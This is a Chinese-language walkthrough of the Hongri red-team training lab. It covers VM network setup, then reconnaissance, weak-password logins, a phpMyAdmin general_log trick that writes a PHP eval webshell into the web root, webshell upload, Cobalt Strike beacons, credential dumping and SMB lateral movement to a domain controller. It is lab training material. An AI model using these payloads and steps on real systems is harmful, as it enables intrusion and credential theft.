适合第一次搭建内网的师傅们——红日靶场内网渗透(一)
文章目录
一、环境搭建
前言:第一次搭建内网环境,花了两天时间。终于是搞清楚了各种配置,和每个主机之间的关系
-
靶机下载链接:红日实战靶场,一共三个靶机
-
虚拟网络配置如下:
-
各主机的配置如下表:
操作系统 网络 内网IP 外网IP 备注 攻击机 kali Linux vmnet1 \ 192.168.19.129 \ web服务器 win7 vmnet1、vmnet2 192.168.52.143 192.168.19.132 原始登陆密码:hongrisec@2019。更改后密码:hongri@2019 域成员主机 win server 2k3 vmnet2 192.168.52.141 \ \ 域控主机 win server 2008 r2 vmnet2 192.168.52.138 \ 原始登陆密码:hongrisec@2019。更改后密码:hongri@2019 -
win server 2k3查看ip方式
-
需要注意的是,配置完各主机的网络之后需要各个之间ping一下(目的是测试网络连通性),若ping不通,可能是由于防火墙的原因,此时需要将防火墙关闭。用管理员打开命令行,执行以下命令
查看当前启用的防火墙配置:
netsh advfirewall show allprofile state
关闭所有防火墙:netsh advfirewall set allprofiles state off
如下图所示为ping通的示例:
-
最后一步打开win7的phpstudy的web服务即可
二、渗透思路
2.1 信息收集
第一步信息收集,这里使用nmap查找IP以及开放的端口
查找IP:nmap -sP 192.168.19.0/24
查看端口:nmap -sS -sV -T5 -A -p- 192.168.19.132
这里扫到两个比较有用的端口:80(网页)、3306(数据库)
先访问一下80端口,发现是一个探针文件:phpstudy探针2014
检测一下MySQL数据库连接,使用弱口令root/root试一下,连接成功
接着收集信息,扫一下目录
发现phpmyadmin,访问一下登陆成功
查看数据库,有一个newyxcms,找到了username和password,但是密码加密了,破解了一波,没解出来
之后尝试着访问了一下yxcms,在通知公告中找到有用信息:“后台地址请在网址后面加上/index.php?r=admin进入。 后台的用户名:admin;密码:123456”
按照提示访问/index.php?r=admin,成功登录
2.2 漏洞发现
漏洞一:弱口令
信息收集中发现的弱口令:
-
phpmyadmin:root/root
-
yxcms:admin/123456
漏洞二:xss
漏洞三:任意文件读取
漏洞四:phpmyadmin文件写入
https://www.cnblogs.com/Oran9e/p/8873091.html
在信息收集是的phpstudy探针中暴露了绝对路径,
在phpmyadmin中general_log是默认为关闭的,root权限开启后,general_log_file会保存所有的查询语句
可以开启general_log,然后设置general_log_file为一个php文件,最后用一句话木马进行查询来获取shell
第一步先查看general_log是否开启:show variables like 'general_log';
开启general_log:SET GLOBAL general_log = ON
show variables like 'general_log';
SET global general_log_file='C:/phpStudy/WWW/test.php';
接着使用查询语句 SELECT '<?php @eval($_POST["a"]);?>'
。将一句话木马写入文件中,成功getshell
2.3 漏洞利用
利用后台的文件上传漏洞
新建test.php的文件。写入一句话木马,上传后利用蚁剑链接
打开终端,发现是管理员权限
发现他的内网ip为192.168.52.143
2.4 内网渗透
2.4.1 cs上线
先把服务端的8089端口(要监听的端口)打开:iptables -A INPUT -p tcp --dport 端口号 -j ACCEPT
然后开启监听
按如下步骤生成后门:
将生成的exe文件上传至靶机,使用蚁剑执行,成功上线
进入beacon
2.4.2 信息收集
先判断是否存在域:shell ipconfig /all
查找域控制器:net group "domain controllers" /domain
获取域内用户的详细信息:shell wmic useraccount get /all
2.4.3 横向探测
查看目标内网情况:net view
然后点击如下图所示按钮会出现查出来的所有主机
查看内存密码:hashdump
查注册表密码:logonpasswords
按如下步骤权限提升:
2.4.4 横向移动
新建一个listener为Beacon SMB
选择user为system的主机 右键spawn,选择smb监听
就会出现如下图所示的会话
如下图所示继续横向移动到其他域成员主机
选择god.org凭证,listener选择smb,session选择system的子会话
按如上步骤继续拿到域控主机的session
最后如下图所示
2.4.5 token窃取
使用cs横向移动到其他主机是在获取到管理员账号密码的前提下,但一般情况难以获取,这时就应该使用cs和msf联动,此方法之后做补充。
三、常见知识点
3.1 探针文件
探针是一种Web脚本程序。
实质上是通过网页编程语言(ASP、PHP、ASP.NET等)实现探测服务器敏感信息的脚本文件,通常用于探测网站目录、服务器操作系统、CPU数量、Session超时时间、服务器Session变量、 服务器Application变量、组件支持情况、运算速度、磁盘读写速度以及网络连接速度等。
常见的探针遗留文件名:Phpinfo.php、Info.php、Php.php、I.php(本次渗透的探针文件) 。
3.2 yxcms1.2.1
存在以上漏洞发现中的四种漏洞:弱口令、xss、任意文件读取、文件上传
四、常用工具
cs——SMB Beacon
-
简介:SMB Beacon使用命名管道通过父Beacon进行通信。此对等通信与Beacons在同一主机上工作。它也适用于整个网络。Windows在SMB协议中封装命名管道通信,对内网中无法链接公网的机器,SMB Beacon可以通过已控制的边界服务器对其进行控制。
-
口头语言解释:外网中的A主机与B主机相通且已控制B,B主机可以与内网中的C主机(无法连接公网)相通,但是A主机与C主机不相通,此时就需要在B主机上利用SMB beacon使A和C相通,进而使A主机控制C主机。
-
使用前提:B能访问到C的SMB端口,拥有SMB的管理员账号密码(一般在B上抓密码去碰撞)
①具有SMB Beacon的主机必须接受端口445上的连接。
②只能链接由同一Cobalt Strike实例管理的Beacon。
-
具体步骤:
①获取C的管理员账号密码
②创建SMB Listener
③使用net use进行利用、验证及创建SMB Beacon